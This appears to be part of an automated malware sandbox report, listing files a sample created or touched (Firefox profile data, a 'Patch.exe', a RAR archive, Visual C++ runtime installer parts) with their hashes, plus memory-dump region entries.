C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\prefs.js

Filesize
6KB

MD5
636ccb46257ee29b95b1bdc298209462

SHA1
048998a7d5c7c5379dd4bd51afa1968dc9711b8d

SHA256
16946003ed924744e7948c86afc8a084f48844936a38c2238210f37103f0c10a

SHA512
1e20ba398ba02ca95417652ae9af93a3bf07433177516fa0ce9f7a6dc8065d7e504a58641b167c230eebba1b6e48792cfb1ffb1b64ca14416fc8ff94ff125064

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
f2e56bcd88513c81bd857e19c87ee549

SHA1
a90ca790ae2934008b6a770a4d5c9936d89827bd

SHA256
ecd92bb75e723c590b0182a4d90f74dcb13f21130bd0322f6db84d4fa79782a0

SHA512
5a306aa29cd1d5029ec2027594497611a3e7d6acd1d19570f26c49b62797767c3ff4260c3a8b5d41023b29352ea6beaf4adb81a51e60bac408377b22407ec7d1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
3abe8c43cbe7dbb889b2917b274b21c1

SHA1
31e12c0c738f343490c391eb852e4d9c2cd07dda

SHA256
5ff74c75bd93871cab0d20d8c568040ff6063b7ed454913f97989d182bd9b23c

SHA512
7e75e1ee364cc18762559bf6a6cef898dcfd571c6b82f544eed26ee97e356842af25a4a876a0898e115c09f2f29bcbdc081d413c41fcc3e678ac704fb1750f46

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
1e4cb90016ae24942439816383b0a585

SHA1
69d6a8ee1cae0202484b50fd104fb781ece21738

SHA256
e930e64cde9bc29ae30681111c8c6580719ba74fdd752c82b6ea6c7459e8ff3a

SHA512
c64b9298fa4528b7c1e3457fd777b77bc32ddd1dccfaa3eddf2d9befdcb179fc57e4d7ad040d68c32cd4036321d51eb7eacd86b6b479cb7900f4218601a3465e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
512KB

MD5
5c9ce78f8dbd57a588b27a8b731fdb22

SHA1
7e04bc5173d6f5060628aa4e4112eda909008f52

SHA256
441196e62de07506d1d90218916c43c2582550713437127145a328cc23a4ac94

SHA512
e0263cb88b8a01c577f2cd21d895ea4feaa7341268e0a16c7acb06790aeb68f5b632845452b9614eec0a8817b538161fef019742fa6c1161dde2b80ac2496cb1

Download Submit
C:\Users\Admin\Desktop\Patch.exe

Filesize
30.5MB

MD5
b31fd9e75742d69fc044318c643ee988

SHA1
172b626c243f6326132e3f318dd37736cfa75b29

SHA256
fc6e64b80e1567a35392bba71ab97160bb834e8128e609e789e5de0bab9c32ce

SHA512
cad04f5ec9316236e847cdf278ee559b9486ce8433e3dab7bfb3cb8496ee35e7012a0ad6863c0d5531a5f29877c0e5719fda6bc51c693be7e197125c311f4c7f

Download Submit
C:\Users\Admin\Downloads\cH0RlUT.rar

Filesize
33.7MB

MD5
7b74a6bbb6337630bb470b867404a888

SHA1
a83b7e93ac6616adcc2dd120ea6e465c4b45a720

SHA256
3318a540f6e3e72de0f34116bebf5f40d71f057dd30fad510f425f0a5f724fce

SHA512
0d7a4dd51a0628a2135534dad53ecb0134d7f34abb72c064eeb19b57db0259db14c18c074fde83ea5803d502c1754d17bf28208cae04d3ca3a11e40257c48f4e

Download Submit
C:\Windows\SysWOW64\msvcp140.dll

Filesize
435KB

MD5
4d09684275303c1f6bf7659668250d89

SHA1
dca6a665f3f9466867b1e8899092337b4e0de849

SHA256
d75795a9cfbae4edae4f5a0818a6bfe5a43e4cea97cf27d8b40a1bbc2a0cd120

SHA512
e61ac336c52eeeefb377b291ee3d939a84764143aa23dccf7d863611a551d602ab628efa67a91b9f9022d1632ebe3ddc9065ba88c7dd23c9b4bd037ff042b086

Download Submit
C:\Windows\Temp\{5DC5E796-82E9-48DF-A2BA-5082207578B4}\.cr\VC_redist.x86.exe

Filesize
634KB

MD5
70f01a23640741765119eacf04eea4ca

SHA1
6431e30afac9739c75ab6264feaf3cfdce1e2bc1

SHA256
cc2dcd9ad634f7ce61fe4a2246384a2a74aa14a07549988a5b022503f82a6970

SHA512
bbcdd11b042ee10a7eb8deac5b2e7c7d6774964a5c71aede19b378aa6e4a6c3c34566dfd545f9271f31747c6a0950ad774230aeef19e83f31e25ef218dd898f0

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\.ba\logo.png

Filesize
1KB

MD5
d6bd210f227442b3362493d046cea233

SHA1
ff286ac8370fc655aea0ef35e9cf0bfcb6d698de

SHA256
335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef

SHA512
464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\.ba\wixstdba.dll

Filesize
191KB

MD5
eab9caf4277829abdf6223ec1efa0edd

SHA1
74862ecf349a9bedd32699f2a7a4e00b4727543d

SHA256
a4efbdb2ce55788ffe92a244cb775efd475526ef5b61ad78de2bcdfaddac7041

SHA512
45b15ade68e0a90ea7300aeb6dca9bc9e347a63dba5ce72a635957564d1bdf0b1584a5e34191916498850fc7b3b7ecfbcbfcb246b39dbf59d47f66bc825c6fd2

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\cab54A5CABBE7274D8A22EB58060AAB7623

Filesize
815KB

MD5
b216b6065093dc8abe6ed57173230554

SHA1
0f562f7b586edd4fe563bf18db8063b3d591ddfc

SHA256
aeba0ef0747ab276c45851ed5e09ed72dd745046f834ebcce22a1a35de5eab62

SHA512
7ec6d8a59cb6ae7ad6f93c038d86b3604050fe420c0738f2e808e57a9bccf2d69663d746480b02b1adf168fe12f3cd614e8ba4dd23e4897d0dca3ac30c3006c3

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\cabB3E1576D1FEFBB979E13B1A5379E0B16

Filesize
4.9MB

MD5
00ec861fdeaf3b40aa0050b6fe4af91a

SHA1
c5a44c9eba18a3c553c757756b328910763b6af8

SHA256
2a654470b0cad92e93a2ed002bba46144bb44277c0fd92afa261dbf5fe089aac

SHA512
e5a3b50851e4c0a0be58b86cc5e5098650fd45d5d742ce77662934bc0c9825d52e205facd0af9dcf71338d235ed942b0f241a7775d395af5dd13e99d5c70a673

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\vcRuntimeAdditional_x86

Filesize
180KB

MD5
981310f751243e91f1113a99cd01e3d3

SHA1
b5c7556fecd868a2668aab92192890975481ff40

SHA256
26f89747f683553bc1c63e989038209ef261d64a9ceb8b913c970f8b490eb436

SHA512
0ae3b59fa808cc912bf82fd5111940ba50fdd0dbb6de1cc9455df21ffea3a562e13baf58a5bbf2e479c83967562eeeadc984aefe9f0db6a176df73c1e25cab22

Download Submit
C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\vcRuntimeMinimum_x86

Filesize
180KB

MD5
b408230f087b7d580d481b8c0f5733a4

SHA1
b963c109cf24b26c02ae76389e868278b6489161

SHA256
88419be8c898bd25782c6e75579ebcdf67633b330b2d8815f96dd509b937b79b

SHA512
60d1eadb59a7e6c6bbb005fe4ea732afe96dcecbc63180ab65b968cbffd93ccd4cf933d8a256cf8fdc75cdd09d43dfa113239ead908cc6137f4f40a627abd316

Download Submit
memory/1836-625-0x000001EFAFF30000-0x000001EFAFF52000-memory.dmp

Filesize
136KB

Download
memory/2156-1534-0x0000000000B40000-0x0000000000BB7000-memory.dmp

Filesize
476KB

Download
memory/3112-617-0x0000000000400000-0x0000000000499000-memory.dmp

Filesize
612KB

Download
memory/3112-605-0x0000000000400000-0x0000000000499000-memory.dmp

Filesize
612KB

Download
memory/3500-3823-0x00000000008D0000-0x0000000000E05000-memory.dmp

Filesize
5.2MB

Download
memory/3500-3816-0x00000000008D0000-0x0000000000E05000-memory.dmp

Filesize
5.2MB

Download
memory/3792-1572-0x0000000000B40000-0x0000000000BB7000-memory.dmp

Filesize
476KB

Download
memory/4180-1574-0x0000000000B40000-0x0000000000BB7000-memory.dmp

Filesize
476KB

Download
memory/7032-3649-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3633-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3634-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3635-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3636-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3632-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3631-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3637-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3630-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3629-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3627-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3626-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3625-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3624-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3623-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3622-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3621-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3620-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3619-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3618-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3638-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/7032-3640-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/7032-3617-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3616-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3641-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/7032-3642-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/7032-3615-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/7032-3611-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3607-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3612-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3610-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3609-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3608-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/7032-3601-0x00000000008D0000-0x0000000000E05000-memory.dmp

Filesize
5.2MB

Download
memory/7032-3648-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3647-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3645-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/7032-3519-0x0000000005210000-0x0000000005650000-memory.dmp

Filesize
4.2MB

Download
memory/7032-3651-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3650-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3521-0x0000000005650000-0x0000000005850000-memory.dmp

Filesize
2.0MB

Download
memory/7032-3655-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/7032-3518-0x00000000008D0000-0x0000000000E05000-memory.dmp

Filesize
5.2MB

Download
memory/7032-3654-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/7032-3652-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3656-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/7032-3658-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/7032-3657-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/7032-3662-0x0000000004800000-0x0000000004801000-memory.dmp

Filesize
4KB

Download
memory/7032-3660-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3659-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

Download
memory/7032-3820-0x00000000008D0000-0x0000000000E05000-memory.dmp

Filesize
5.2MB

Download